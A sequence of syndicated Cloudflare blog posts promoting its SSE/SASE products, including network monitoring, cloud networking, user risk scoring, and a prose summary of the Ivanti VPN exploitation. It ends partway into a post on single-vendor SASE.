A Security Service Edge (SSE) “secures access to the web, cloud services and private applications. Capabilities include access control, threat protection, data security, security monitoring, and acceptable-use control enforced by network-based and API-based integration. SSE is primarily delivered as a cloud-based service, and may include on-premises or agent-based components.”3

The SSE solutions in the market began to take shape as companies dealt with users, devices, and data leaving their security perimeters at scale. In previous generations, teams could keep their organization safe by hiding from the rest of the world behind a figurative castle-and-moat. The firewalls that protected their devices and data sat inside the physical walls of their space. The applications their users needed to reach sat on the same intranet. When users occasionally left the office they dealt with the hassle of backhauling their traffic through a legacy virtual private network (VPN) client.

This concept started to fall apart when applications left the building. SaaS applications offered a cheaper, easier alternative to self-hosting your resources. The cost and time savings drove IT departments to migrate and security teams had to play catch up as all of their most sensitive data also migrated.

At the same time, users began working away from the office more often. The rarely used VPN infrastructure inside an office suddenly struggled to stay afloat with the new demands from more users connecting to more of the Internet.

As a result, the band-aid boxes in an organization failed — in some cases slowly and in other situations all at once. SSE vendors offer a cloud-based answer. SSE providers operate their own security services from their own data centers or on a public cloud platform. Like the SaaS applications that drove the first wave of migration, these SSE services are maintained by the vendor and scale in a way that offers budget savings. The end user experience improves by avoiding the backhaul and security administrators can more easily build smarter, safer policies to defend their team.

The SSE space covers a broad category. If you ask five security teams what an SSE or Zero Trust solution is, you’ll probably get six answers. In general, SSE provides a helpful framing that gives teams guard rails as they try to adopt a Zero Trust architecture. The concept breaks down into a few typical buckets:

  • Zero Trust Access Control: protect applications that hold sensitive data by creating least-privilege rules that check for identity and other contextual signals on each and every request or connection.
  • Outbound Filtering: keep users and devices safe as they connect to the rest of the Internet by filtering and logging DNS queries, HTTP requests, or even network-level traffic.
  • Secure SaaS Usage: analyze traffic to SaaS applications and scan the data sitting inside of SaaS applications for potential Shadow IT policy violations, misconfigurations, or data mishandling.
  • Data Protection: scan for data leaving your organization or for destinations that do not comply with your organization’s policies. Find data stored inside your organization, even in trusted tools, that should not be retained or needs tighter access controls.
  • Employee Experience: monitor and improve the experience that your team members have when using tools and applications on the Internet or hosted inside your own organization.

The SSE space is a component of the larger Secure Access Service Edge (SASE) market. You can think of the SSE capabilities as the security half of SASE while the other half consists of the networking technologies that connect users, offices, applications, and data centers. Some vendors only focus on the SSE side and rely on partners to connect customers to their security solutions. Other companies just provide the networking pieces. While today’s announcement highlights our SSE capabilities, Cloudflare offers both components as a comprehensive, single-vendor SASE provider.

How does Cloudflare One fit into the SSE space?

Customers can rely on Cloudflare to solve the entire range of security problems represented by the SSE category. They also can just start with a single component. We know that an entire “digital transformation” can be an overwhelming prospect for any organization. While all the use cases below work better together, we make it simple for teams to start by just solving one problem at a time.

Zero Trust access control

Most organizations begin that problem-solving journey by attacking their virtual private network (VPN). In many cases, a legacy VPN operates in a model where anyone on that private network is trusted by default to access anything else. The applications and data sitting on that network become vulnerable to any user who can connect. Augmenting or replacing legacy VPNs is one of the leading Zero Trust use cases we see customers adopting, in part to eliminate pains related to the ongoing series of high-impact VPN vulnerabilities in on-premises firewalls and gateways.

Cloudflare provides teams with the ability to build Zero Trust rules that replace the security model of a traditional VPN with one that evaluates every request and connection for trust signals like identity, device posture, location, and multifactor authentication method. Through Zero Trust Network Access (ZTNA), administrators can make applications available to employees and third-party contractors through a fully clientless option that makes traditional tools feel just like SaaS applications. Teams that need more of a private network can still build one on Cloudflare that supports arbitrary TCP, UDP, and ICMP traffic, including bidirectional traffic, while still enforcing Zero Trust rules.

Cloudflare One can also apply these rules to the applications that sit outside your infrastructure. You can deploy Cloudflare’s identity proxy to enforce consistent and granular policies that determine how team members log into their SaaS applications, as well.

DNS filtering and Secure Web Gateway capabilities

Cloudflare operates the world’s fastest DNS resolver, helping users connect safely to the Internet whether they are working from a coffee shop or operating inside some of the world’s largest networks.

Beyond just DNS filtering, Cloudflare also provides organizations with a comprehensive Secure Web Gateway (SWG) that inspects the HTTP traffic leaving a device or entire network. Cloudflare filters each request for dangerous destinations or potentially malicious downloads. Besides SSE use cases, Cloudflare operates one of the largest forward proxies in the world for Internet privacy used by Apple iCloud Private Relay, Microsoft Edge Secure Network, and beyond.

You can also mix-and-match how you want to send traffic to Cloudflare. Your team can decide to send all traffic from every mobile device or just plug in your office or data center network to Cloudflare’s network. Each request or DNS query is logged and made available for review in our dashboard or can be exported to a 3rd party logging solution.

In-line and at-rest CASB

SaaS applications relieve IT teams of the burden to host, maintain, and monitor the tools behind their business. They also create entirely new headaches for corresponding security teams.

Any user in an enterprise now needs to connect to an application on the public Internet to do their work, and some users prefer to use their favorite application rather than the ones vetted and approved by the IT department. This kind of Shadow IT infrastructure can lead to surprise fees, compliance violations, and data loss.

Cloudflare offers comprehensive scanning and filtering to detect when team members are using unapproved tools. With a single click, administrators can block those tools outright or control how those applications can be used. If your marketing team needs to use Google Drive to collaborate with a vendor, you can apply a quick rule that makes sure they can only download files and never upload. Alternatively, allow users to visit an application and read from it while blocking all text input. Cloudflare’s Shadow IT policies offer easy-to-deploy controls over how your organization uses the Internet.

Beyond unsanctioned applications, even approved resources can cause trouble. Your organization might rely on Microsoft OneDrive for day-to-day work, but your compliance policies prohibit your HR department from storing files with employee Social Security numbers in the tool. Cloudflare’s Cloud Access Security Broker (CASB) can routinely scan the SaaS applications your team relies on to detect improper usage, missing controls, or potential misconfiguration.

Digital Experience Monitoring

Enterprise users have consumer expectations about how they connect to the Internet. When they encounter delays or latency, they turn to IT help desks to complain. Those complaints only get louder when help desks lack the proper tools to granularly understand or solve the issues.

Cloudflare One provides teams with a Digital Experience Monitoring toolkit that we built based on the tools we have used for years inside of Cloudflare to monitor our own global network. Administrators can measure global, regional, or individual latency to applications on the Internet. IT teams can open our dashboard to troubleshoot connectivity issues with single users. The same capabilities we use to proxy approximately 20% of the web are now available to teams of any size, so they can help their users.

Data security

The most pressing concern we have heard from CIOs and CISOs over the last year is the fear around data protection. Whether data loss is malicious or accidental, the consequences can erode customer trust and create penalties for the business.

We also hear that deploying any sort of effective data security is just plain hard. Customers tell us anecdotes about expensive point solutions they purchased with the intention to implement them quickly and keep data safe, that ultimately just didn’t work or slowed down their teams to the point that they became shelfware.

We have spent the last year aggressively improving our solution to that problem as the single largest focus area of investment in the Cloudflare One team. Our data security portfolio, including data loss prevention (DLP), can now scan for data leaving your organization, as well as data stored inside your SaaS applications, and prevent loss based on exact data matches that you provide or through fuzzier patterns. Teams can apply optical character recognition (OCR) to find potential loss in images, scan for public cloud keys in a single click, and software companies can rely on predefined ML-based source code detections.

Data security will continue to be our largest area of focus in Cloudflare One over the next year. We are excited to continue to deliver an SSE platform that gives administrators comprehensive control without interrupting or slowing down their users.

Beyond the SSE

The scope of an SSE solution captures a wide range of the security problems that plague enterprises. We also know that issues beyond that definition can compromise a team. In addition to offering an industry-leading SSE platform, Cloudflare gives your team a full range of tools to protect your organization, to connect your team, and to secure all of your applications.

IT compromise tends to start with email. The majority of attacks begin with some kind of multi-channel phishing campaign or social engineering attack sent to the largest hole in any organization’s perimeter: their employees’ email inboxes. We believe that you should be protected from that too, even before the layers of our SSE platform kick in to catch malicious links or files from those emails, so Cloudflare One also features best-in-class cloud email security. The capabilities just work with the rest of Cloudflare One to help stop all phishing channels — inbox (cloud email security), social media (SWG), SMS (ZTNA together with hard keys), and cloud collaboration (CASB). For example, you can allow team members to still click on potentially malicious links in an email while forcing those destinations to load in an isolated browser that is transparent to the user.

Most SSE solutions stop there, though, and only solve the security challenge. Team members, devices, offices, and data centers still need to connect in a way that is performant and highly available. Other SSE vendors partner with networking providers to solve that challenge while adding extra hops and latency. Cloudflare customers don’t have to compromise. Cloudflare One offers a complete WAN connectivity solution delivered in the same data centers as our security components. Organizations can rely on a single vendor to solve how they connect and how they do so securely. No extra hops or invoices needed.

We also know that security problems do not distinguish between what happens inside your enterprise and the applications you make available to the rest of the world. You can secure and accelerate the applications that you build to serve your own customers through Cloudflare, as well. Analysts have also recognized Cloudflare’s Web Application and API Protection (WAAP) platform, which protects some of the world’s largest Internet destinations.

How does that impact customers?

Tens of thousands of organizations trust Cloudflare One to secure their teams every day. And they love it. Over 200 enterprises have reviewed Cloudflare’s Zero Trust platform as part of Gartner® Peer Insights™. As mentioned previously, the feedback has been so consistently positive that Gartner named Cloudflare a Customers’ Choice for 2024.

We talk to customers directly about that feedback, and they have helped us understand why CIOs and CISOs choose Cloudflare One. For some teams, we offer a cost-efficient opportunity to consolidate point solutions. Others appreciate that our ease-of-use means that many practitioners have set up our platform before they even talk to our team. We also hear that speed matters to ensure a slick end user experience when we are 46% faster than Zscaler, 56% faster than Netskope, and 10% faster than Palo Alto Networks.

What’s next?

We kicked off 2024 with a week focused on new security features that teams can begin deploying now. Looking ahead to the rest of the year, you can expect additional investment as we add depth to our Secure Web Gateway product. We also have work underway to make our industry-leading access control features even easier to use. Our largest focus areas will include our data protection platform, digital experience monitoring, and our in-line and at-rest CASB tools. And stay tuned for an overhaul to how we surface analytics and help teams meet compliance needs, too.

Our commitment to our customers in 2024 is the same as it was in 2023. We are going to continue to help your teams solve more security problems so that you can focus on your own mission.

Ready to hold us to that commitment? Cloudflare offers something unique among the leaders in this space — you can start using nearly every feature in Cloudflare One right now at no cost. Teams of up to 50 users can adopt our platform for free, whether for their small team or as part of a larger enterprise proof of concept. We believe that organizations of any size should be able to start their journey to deploy industry-leading security.

***

1Gartner, Magic Quadrant for Security Service Edge, By Charlie Winckless, Thomas Lintemuth, Dale Koeppen, April 15, 2024
2Gartner, Voice of the Customer for Zero Trust Network Access, By Peer Contributors, 30 January 2024
3https://www.gartner.com/en/information-technology/glossary/security-service-edge-sse

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Free network flow monitoring for all enterprise customers

Post Syndicated from Chris Draper original https://blog.cloudflare.com/free-network-monitoring-for-enterprise


A key component of effective corporate network security is establishing end to end visibility across all traffic that flows through the network. Every network engineer needs a complete overview of their network traffic to confirm their security policies work, to identify new vulnerabilities, and to analyze any shifts in traffic behavior. Often, it’s difficult to build out effective network monitoring as teams struggle with problems like configuring and tuning data collection, managing storage costs, and analyzing traffic across multiple visibility tools.

Today, we’re excited to announce that a free version of Cloudflare’s network flow monitoring product, Magic Network Monitoring, is available to all Enterprise Customers. Every Enterprise Customer can configure Magic Network Monitoring and immediately improve their network visibility in as little as 30 minutes via our self-serve onboarding process.

Enterprise Customers can visit the Magic Network Monitoring product page, click “Talk to an expert”, and fill out the form. You’ll receive access within 24 hours of submitting the request. Over the next month, the free version of Magic Network Monitoring will be rolled out to all Enterprise Customers. The product will automatically be available by default without the need to submit a form.

How it works

Cloudflare customers can send their network flow data (either NetFlow or sFlow) from their routers to Cloudflare’s network edge.

Magic Network Monitoring will pick up this data, parse it, and instantly provide insights and analytics on your network traffic. These analytics include traffic volume overtime in bytes and packets, top protocols, sources, destinations, ports, and TCP flags.

Dogfooding Magic Network Monitoring during the remediation of the Thanksgiving 2023 security incident

Let’s review a recent example of how Magic Network Monitoring improved Cloudflare’s own network security and traffic visibility during the Thanksgiving 2023 security incident. Our security team needed a lightweight method to identify malicious packet characteristics in our core data center traffic. We monitored for any network traffic sourced from or destined to a list of ASNs associated with the bad actor. Our security team setup Magic Network Monitoring and established visibility into our first core data center within 24 hours of the project kick-off. Today, Cloudflare continues to use Magic Network Monitoring to monitor for traffic related to bad actors and to provide real time traffic analytics on more than 1 Tbps of core data center traffic.

Magic Network Monitoring – Traffic Analytics

Monitoring local network traffic from IoT devices

Magic Network Monitoring also improves visibility on any network traffic that doesn’t go through Cloudflare. Imagine that you’re a network engineer at ACME Corporation, and it’s your job to manage and troubleshoot IoT devices in a factory that are connected to the factory’s internal network. The traffic generated by these IoT devices doesn’t go through Cloudflare because it is destined to other devices and endpoints on the internal network. Nonetheless, you still need to establish network visibility into device traffic over time to monitor and troubleshoot the system.

To solve the problem, you configure a router or other network device to securely send encrypted traffic flow summaries to Cloudflare via an IPSec tunnel. Magic Network Monitoring parses the data, and instantly provides you with insights and analytics on your network traffic. Now, when an IoT device goes down, or a connection between IoT devices is unexpectedly blocked, you can analyze historical network traffic data in Magic Network Monitoring to speed up the troubleshooting process.

Monitoring cloud network traffic

As cloud networking becomes increasingly prevalent, it is essential for enterprises to invest in visibility across their cloud environments. Let’s say you’re responsible for monitoring and troubleshooting your corporation’s cloud network operations which are spread across multiple public cloud providers. You need to improve visibility into your cloud network traffic to analyze and troubleshoot any unexpected traffic patterns like configuration drift that leads to an exposed network port.

To improve traffic visibility across different cloud environments, you can export cloud traffic flow logs from any virtual device that supports NetFlow or sFlow to Cloudflare. In the future, we are building support for native cloud VPC flow logs in conjunction with Magic Cloud Networking. Cloudflare will parse this traffic flow data and provide alerts plus analytics across all your cloud environments in a single pane of glass on the Cloudflare dashboard.

Improve your security posture today in less than 30 minutes

If you’re an existing Enterprise customer, and you want to improve your corporate network security, you can get started right away. Visit the Magic Network Monitoring product page, click “Talk to an expert”, and fill out the form. You’ll receive access within 24 hours of submitting the request. You can begin the self-serve onboarding tutorial, and start monitoring your first batch of network traffic in less than 30 minutes.

Over the next month, the free version of Magic Network Monitoring will be rolled out to all Enterprise Customers. The product will be automatically available by default without the need to submit a form.

If you’re interested in becoming an Enterprise Customer, and have more questions about Magic Network Monitoring, you can talk with an expert. If you’re a free customer, and you’re interested in testing a limited beta of Magic Network Monitoring, you can fill out this form to request access.

Magic Cloud Networking simplifies security, connectivity, and management of public clouds

Post Syndicated from Steve Welham original https://blog.cloudflare.com/introducing-magic-cloud-networking


Today we are excited to announce Magic Cloud Networking, supercharged by Cloudflare’s recent acquisition of Nefeli Networks’ innovative technology. These new capabilities to visualize and automate cloud networks will give our customers secure, easy, and seamless connection to public cloud environments.

Public clouds offer organizations a scalable and on-demand IT infrastructure without the overhead and expense of running their own datacenter. Cloud networking is foundational to applications that have been migrated to the cloud, but is difficult to manage without automation software, especially when operating at scale across multiple cloud accounts. Magic Cloud Networking uses familiar concepts to provide a single interface that controls and unifies multiple cloud providers’ native network capabilities to create reliable, cost-effective, and secure cloud networks.

Nefeli’s approach to multi-cloud networking solves the problem of building and operating end-to-end networks within and across public clouds, allowing organizations to securely leverage applications spanning any combination of internal and external resources. Adding Nefeli’s technology will make it easier than ever for our customers to connect and protect their users, private networks and applications.

Why is cloud networking difficult?

Compared with a traditional on-premises data center network, cloud networking promises simplicity:

  • Much of the complexity of physical networking is abstracted away from users because the physical and ethernet layers are not part of the network service exposed by the cloud provider.
  • There are fewer control plane protocols; instead, the cloud providers deliver a simplified software-defined network (SDN) that is fully programmable via API.
  • There is capacity — from zero up to very large — available instantly and on-demand, only charging for what you use.

However, that promise has not yet been fully realized. Our customers have described several reasons cloud networking is difficult:

  • Poor end-to-end visibility: Cloud network visibility tools are difficult to use and silos exist even within single cloud providers that impede end-to-end monitoring and troubleshooting.
  • Faster pace: Traditional IT management approaches clash with the promise of the cloud: instant deployment available on-demand. Familiar ClickOps and CLI-driven procedures must be replaced by automation to meet the needs of the business.
  • Different technology: Established network architectures in on-premises environments do not seamlessly transition to a public cloud. The missing ethernet layer and advanced control plane protocols were critical in many network designs.
  • New cost models: The dynamic pay-as-you-go usage-based cost models of the public clouds are not compatible with established approaches built around fixed cost circuits and 5-year depreciation. Network solutions are often architected with financial constraints, and accordingly, different architectural approaches are sensible in the cloud.
  • New security risks: Securing public clouds with true zero trust and least-privilege demands mature operating processes and automation, and familiarity with cloud-specific policies and IAM controls.
  • Multi-vendor: Oftentimes enterprise networks have used single-vendor sourcing to facilitate interoperability, operational efficiency, and targeted hiring and training. Operating a network that extends beyond a single cloud, into other clouds or on-premises environments, is a multi-vendor scenario.

Nefeli considered all these problems and the tensions between different customer perspectives to identify where the problem should be solved.

Trains, planes, and automation

Consider a train system. To operate effectively it has three key layers:

  • tracks and trains
  • electronic signals
  • a company to manage the system and sell tickets.

A train system with good tracks, trains, and signals could still be operating below its full potential because its agents are unable to keep up with passenger demand. The result is that passengers cannot plan itineraries or purchase tickets.

The train company eliminates bottlenecks in process flow by simplifying the schedules, simplifying the pricing, providing agents with better booking systems, and installing automated ticket machines. Now the same fast and reliable infrastructure of tracks, trains, and signals can be used to its full potential.

Solve the right problem

In networking, there are an analogous set of three layers, called the networking planes:

  • Data Plane: the network paths that transport data (in the form of packets) from source to destination.
  • Control Plane: protocols and logic that change how packets are steered across the data plane.
  • Management Plane: the configuration and monitoring interfaces for the data plane and control plane.

In public cloud networks, these layers map to:

  • Cloud Data Plane: The underlying cables and devices are exposed to users as the Virtual Private Cloud (VPC) or Virtual Network (VNet) service that includes subnets, routing tables, security groups/ACLs and additional services such as load-balancers and VPN gateways.
  • Cloud Control Plane: In place of distributed protocols, the cloud control plane is a software defined network (SDN) that, for example, programs static route tables. (There is limited use of traditional control plane protocols, such as BGP to interface with external networks and ARP to interface with VMs.)
  • Cloud Management Plane: An administrative interface with a UI and API which allows the admin to fully configure the data and control planes. It also provides a variety of monitoring and logging capabilities that can be enabled and integrated with 3rd party systems.

Like our train example, most of the problems that our customers experience with cloud networking are in the third layer: the management plane.

Nefeli simplifies, unifies, and automates cloud network management and operations.

Avoid cost and complexity

One common approach to tackle management problems in cloud networks is introducing Virtual Network Functions (VNFs), which are virtual machines (VMs) that do packet forwarding, in place of native cloud data plane constructs. Some VNFs are routers, firewalls, or load-balancers ported from a traditional network vendor’s hardware appliances, while others are software-based proxies often built on open-source projects like NGINX or Envoy. Because VNFs mimic their physical counterparts, IT teams could continue using familiar management tooling, but VNFs have downsides:

  • VMs do not have custom network silicon and so instead rely on raw compute power. The VM is sized for the peak anticipated load and then typically runs 24x7x365. This drives a high cost of compute regardless of the actual utilization.
  • High-availability (HA) relies on fragile, costly, and complex network configuration.
  • Service insertion — the configuration to put a VNF into the packet flow — often forces packet paths that incur additional bandwidth charges.
  • VNFs are typically licensed similarly to their on-premises counterparts and are expensive.
  • VNFs lock in the enterprise and potentially exclude them benefitting from improvements in the cloud’s native data plane offerings.

For these reasons, enterprises are turning away from VNF-based solutions and increasingly looking to rely on the native network capabilities of their cloud service providers. The built-in public cloud networking is elastic, performant, robust, and priced on usage, with high-availability options integrated and backed by the cloud provider’s service level agreement.

In our train example, the tracks and trains are good. Likewise, the cloud network data plane is highly capable. Changing the data plane to solve management plane problems is the wrong approach. To make this work at scale, organizations need a solution that works together with the native network capabilities of cloud service providers.

Nefeli leverages native cloud data plane constructs rather than third party VNFs.

Introducing Magic Cloud Networking

The Nefeli team has joined Cloudflare to integrate cloud network management functionality with Cloudflare One. This capability is called Magic Cloud Networking and with it, enterprises can use the Cloudflare dashboard and API to manage their public cloud networks and connect with Cloudflare One.

End-to-end

Just as train providers are focused only on completing train journeys in their own network, cloud service providers deliver network connectivity and tools within a single cloud account. Many large enterprises have hundreds of cloud accounts across multiple cloud providers. In an end-to-end network this creates disconnected networking silos which introduce operational inefficiencies and risk.

Imagine you are trying to organize a train journey across Europe, and no single train company serves both your origin and destination. You know they all offer the same basic service: a seat on a train. However, your trip is difficult to arrange because it involves multiple trains operated by different companies with their own schedules and ticketing rates, all in different languages!

Magic Cloud Networking is like an online travel agent that aggregates multiple transportation options, books multiple tickets, facilitates changes after booking, and then delivers travel status updates.

Through the Cloudflare dashboard, you can discover all of your network resources across accounts and cloud providers and visualize your end-to-end network in a single interface. Once Magic Cloud Networking discovers your networks, you can build a scalable network through a fully automated and simple workflow.

Resource inventory shows all configuration in a single and responsive UI

Taming per-cloud complexity

Public clouds are used to deliver applications and services. Each cloud provider offers a composable stack of modular building blocks (resources) that start with the foundation of a billing account and then add on security controls. The next foundational layer, for server-based applications, is VPC networking. Additional resources are built on the VPC network foundation until you have compute, storage, and network infrastructure to host the enterprise application and data. Even relatively simple architectures can be composed of hundreds of resources.

The trouble is, these resources expose abstractions that are different from the building blocks you would use to build a service on prem, the abstractions differ between cloud providers, and they form a web of dependencies with complex rules about how configuration changes are made (rules which differ between resource types and cloud providers). For example, say I create 100 VMs, and connect them to an IP network. Can I make changes to the IP network while the VMs are using the network? The answer: it depends.

Magic Cloud Networking handles these differences and complexities for you. It configures native cloud constructs such as VPN gateways, routes, and security groups to securely connect your cloud VPC network to Cloudflare One without having to learn each cloud’s incantations for creating VPN connections and hubs.

Continuous, coordinated automation

Returning to our train system example, what if the railway maintenance staff find a dangerous fault on the railroad track? They manually set the signal to a stop light to prevent any oncoming trains using the faulty section of track. Then, what if, by unfortunate coincidence, the scheduling office is changing the signal schedule, and they set the signals remotely which clears the safety measure made by the maintenance crew? Now there is a problem that no one knows about and the root cause is that multiple authorities can change the signals via different interfaces without coordination.

The same problem exists in cloud networks: configuration changes are made by different teams using different automation and configuration interfaces across a spectrum of roles such as billing, support, security, networking, firewalls, database, and application development.

Once your network is deployed, Magic Cloud Networking monitors its configuration and health, enabling you to be confident that the security and connectivity you put in place yesterday is still in place today. It tracks the cloud resources it is responsible for, automatically reverting drift if they are changed out-of-band, while allowing you to manage other resources, like storage buckets and application servers, with other automation tools. And, as you change your network, Cloudflare takes care of route management, injecting and withdrawing routes globally across Cloudflare and all connected cloud provider networks.

Magic Cloud Networking is fully programmable via API, and can be integrated into existing automation toolchains.

The interface warns when cloud network infrastructure drifts from intent

Ready to start conquering cloud networking?

We are thrilled to introduce Magic Cloud Networking as another pivotal step to fulfilling the promise of the Connectivity Cloud. This marks our initial stride in empowering customers to seamlessly integrate Cloudflare with their public clouds to get securely connected, stay securely connected, and gain flexibility and cost savings as they go.

Join us on this journey for early access: learn more and sign up here.

Eliminate VPN vulnerabilities with Cloudflare One

Post Syndicated from Dan Hall original https://blog.cloudflare.com/eliminate-vpn-vulnerabilities-with-cloudflare-one


On January 19, 2024, the Cybersecurity & Infrastructure Security Agency (CISA) issued Emergency Directive 24-01: Mitigate Ivanti Connect Secure and Ivanti Policy Secure Vulnerabilities. CISA has the authority to issue emergency directives in response to a known or reasonably suspected information security threat, vulnerability, or incident. U.S. Federal agencies are required to comply with these directives.

Federal agencies were directed to apply a mitigation against two recently discovered vulnerabilities; the mitigation was to be applied within three days. Further monitoring by CISA revealed that threat actors were continuing to exploit the vulnerabilities and had developed some workarounds to earlier mitigations and detection methods. On January 31, CISA issued Supplemental Direction V1 to the Emergency Directive instructing agencies to immediately disconnect all instances of Ivanti Connect Secure and Ivanti Policy Secure products from agency networks and perform several actions before bringing the products back into service.

This blog post will explore the threat actor’s tactics, discuss the high-value nature of the targeted products, and show how Cloudflare’s Secure Access Service Edge (SASE) platform protects against such threats.

As a side note and showing the value of layered protections, Cloudflare’s WAF had proactively detected the Ivanti zero-day vulnerabilities and deployed emergency rules to protect Cloudflare customers.

Threat Actor Tactics

Forensic investigations (see the Volexity blog for an excellent write-up) indicate that the attacks began as early as December 2023. Piecing together the evidence shows that the threat actors chained two previously unknown vulnerabilities together to gain access to the Connect Secure and Policy Secure appliances and achieve unauthenticated remote code execution (RCE).

CVE-2023-46805 is an authentication bypass vulnerability in the products’ web components that allows a remote attacker to bypass control checks and gain access to restricted resources. CVE-2024-21887 is a command injection vulnerability in the products’ web components that allows an authenticated administrator to execute arbitrary commands on the appliance and send specially crafted requests. The remote attacker was able to bypass authentication and be seen as an “authenticated” administrator, and then take advantage of the ability to execute arbitrary commands on the appliance.

By exploiting these vulnerabilities, the threat actor had near total control of the appliance. Among other things, the attacker was able to:

  • Harvest credentials from users logging into the VPN service
  • Use these credentials to log into protected systems in search of even more credentials
  • Modify files to enable remote code execution
  • Deploy web shells to a number of web servers
  • Reverse tunnel from the appliance back to their command-and-control server (C2)
  • Avoid detection by disabling logging and clearing existing logs

Little Appliance, Big Risk

This is a serious incident that is exposing customers to significant risk. CISA is justified in issuing their directive, and Ivanti is working hard to mitigate the threat and develop patches for the software on their appliances. But it also serves as another indictment of the legacy “castle-and-moat” security paradigm. In that paradigm, remote users were outside the castle while protected applications and resources remained inside. The moat, consisting of a layer of security appliances, separated the two. The moat, in this case the Ivanti appliance, was responsible for authenticating and authorizing users, and then connecting them to protected applications and resources. Attackers and other bad actors were blocked at the moat.

This incident shows us what happens when a bad actor is able to take control of the moat itself, and the challenges customers face to recover control. Two typical characteristics of vendor-supplied appliances and the legacy security strategy highlight the risks:

  • Administrators have access to the internals of the appliance
  • Authenticated users indiscriminately have access to a wide range of applications and resources on the corporate network, increasing the risk of bad actor lateral movement

A better way: Cloudflare’s SASE platform

Cloudflare One is Cloudflare’s SSE and single-vendor SASE platform. While Cloudflare One spans broadly across security and networking services (and you can read about the latest additions here), I want to focus on the two points noted above.

First, Cloudflare One employs the principles of Zero Trust, including the principle of least privilege. As such, users that authenticate successfully only have access to the resources and applications necessary for their role. This principle also helps in the event of a compromised user account as the bad actor does not have indiscriminate network-level access. Rather, least privilege limits the range of lateral movement that a bad actor has, effectively reducing the blast radius.

Second, while customer administrators need to have access to configure their services and policies, Cloudflare One does not provide any external access to the system internals of Cloudflare’s platform. Without that access, a bad actor would not be able to launch the types of attacks executed when they had access to the internals of the Ivanti appliance.  

It’s time to eliminate the legacy VPN

If your organization is impacted by the CISA directive, or you are just ready to modernize and want to augment or replace your current VPN solution, Cloudflare is here to help. Cloudflare’s Zero Trust Network Access (ZTNA) service, part of the Cloudflare One platform, is the fastest and safest way to connect any user to any application.

Contact us to get immediate onboarding help or to schedule an architecture workshop to help you augment or replace your Ivanti (or any) VPN solution.
Not quite ready for a live conversation? Read our learning path article on how to replace your VPN with Cloudflare or our SASE reference architecture for a view of how all of our SASE services and on-ramps work together.

Introducing behavior-based user risk scoring in Cloudflare One

Post Syndicated from Noelle Kagan original https://blog.cloudflare.com/cf1-user-risk-score


Cloudflare One, our secure access service edge (SASE) platform, is introducing new capabilities to detect risk based on user behavior so that you can improve security posture across your organization.

Traditionally, security and IT teams spend a lot of time, labor, and money analyzing log data to track how risk is changing within their business and to stay on top of threats. Sifting through such large volumes of data – the majority of which may well be benign user activity – can feel like finding a needle in a haystack.

Cloudflare’s approach simplifies this process with user risk scoring. With AI/machine learning techniques, we analyze the real-time telemetry of user activities and behaviors that pass through our network to identify abnormal behavior and potential indicators of compromises that could lead to danger for your organization, so your security teams can lock down suspicious activity and adapt your security posture in the face of changing risk factors and sophisticated threats.

User risk scoring

The concept of trust in cybersecurity has evolved dramatically. The old model of “trust but verify” has given way to a Zero Trust approach, where trust is never assumed and verification is continuous, as each network request is scrutinized. This form of continuous evaluation enables administrators to grant access based not just on the contents of a request and its metadata, but on its context — such as whether the user typically logs in at that time or location.

Previously, this kind of contextual risk assessment was time-consuming and required expertise to parse through log data. Now, we’re excited to introduce Zero Trust user risk scoring which does this automatically, allowing administrators to specify behavioral rules — like monitoring for anomalous “impossible travel” and custom Data Loss Prevention (DLP) triggers, and use these to generate dynamic user risk scores.

Zero Trust user risk scoring detects user activity and behaviors that could introduce risk to your organizations, systems, and data and assigns a score of Low, Medium, or High to the user involved. This approach is sometimes referred to as user and entity behavior analytics (UEBA) and enables teams to detect and remediate possible account compromise, company policy violations, and other risky activity.

How risk scoring works and detecting user risk

User risk scoring is built to examine behaviors. Behaviors are actions taken or completed by a user and observed by Cloudflare One, our SASE platform that helps organizations implement Zero Trust.

Once tracking for a particular behavior is enabled, the Zero Trust risk scoring engine immediately starts to review existing logs generated within your Zero Trust account. Then, after a user in your account performs a behavior that matches one of the enabled risk behaviors based on observed log data, Cloudflare assigns a risk score — Low, Medium, or High — to the user who performed the behavior.

Behaviors are built using log data from within your Cloudflare account. No additional user data is being collected, tracked or stored beyond what is already available in the existing Zero Trust logs (which adhere to the log retention timeframes).

A popular priority amongst security and insider threat teams is detecting when a user performs so-called “impossible travel”. Impossible travel, available as a predefined risk behavior today, is when a user completes a login from two different locations that the user could not have traveled to in that period of time. For example, if Alice is in Seattle and logs into her organization’s finance application that is protected by Cloudflare Access and only a few minutes later is seen logging into her organization’s business suite from Sydney, Australia, impossible travel would be triggered and Alice would be assigned a risk level of High.

For users that are observed performing multiple risk behaviors, they will be assigned the highest-level risk behavior they’ve triggered. This real-time risk assessment empowers your security teams to act swiftly and decisively.

Zero Trust user risk scoring detecting impossible travel and flagging a user as high risk

Enabling predefined risk behaviors

Behaviors can be enabled and disabled at any time, but are disabled by default. Therefore, users will not be assigned risk scores until you have decided what is considered a risk to your organization and how urgent that risk is.

To start detecting a given risk behavior, an administrator must first ensure the behavior requirements are met (for instance, to detect whether a user has triggered a high number of DLP policies, you’ll need to first set up a DLP profile). From there, simply enable the behavior in the Zero Trust dashboard.

After a behavior has been enabled, Cloudflare will start analyzing behaviors to flag users with the corresponding risk when detected. The risk level of any behavior can be changed by an administrator. You have the freedom to enable behaviors that are relevant to your security posture as well as adjust the default risk score (Low, Medium, or High) from an out-of-the-box assignment.

And for security administrators who have investigated a user and need to clear a user’s risk score, simply go to Risk score > User risk scoring, choose the appropriate user, and select ‘Reset user risk’ followed by ‘Confirm.’ Once a user’s risk score is reset, they disappear from the risk table — until or unless they trigger another risk behavior.

Zero Trust user risk scoring behaviors can be enabled in seconds

How do I get started?

User risk scoring and DLP are part of Cloudflare One, which converges Zero Trust security and network connectivity services on one unified platform and global control plane.

To get access via Cloudflare One, reach out for a consultation, or contact your account manager.

Fulfilling the promise of single-vendor SASE through network modernization

Post Syndicated from Michael Keane http://blog.cloudflare.com/author/michael-keane/ original https://blog.cloudflare.com/single-vendor-sase-announcement-2024


As more organizations collectively progress toward adopting a SASE architecture, it has become clear that the traditional SASE market definition (SSE + SD-WAN) is not enough. It forces some teams to work with multiple vendors to address their specific needs, introducing performance and security tradeoffs. More worrisome, it draws focus more to a checklist of services than a vendor’s underlying architecture. Even the most advanced individual security services or traffic on-ramps don’t matter if organizations ultimately send their traffic through a fragmented, flawed network.

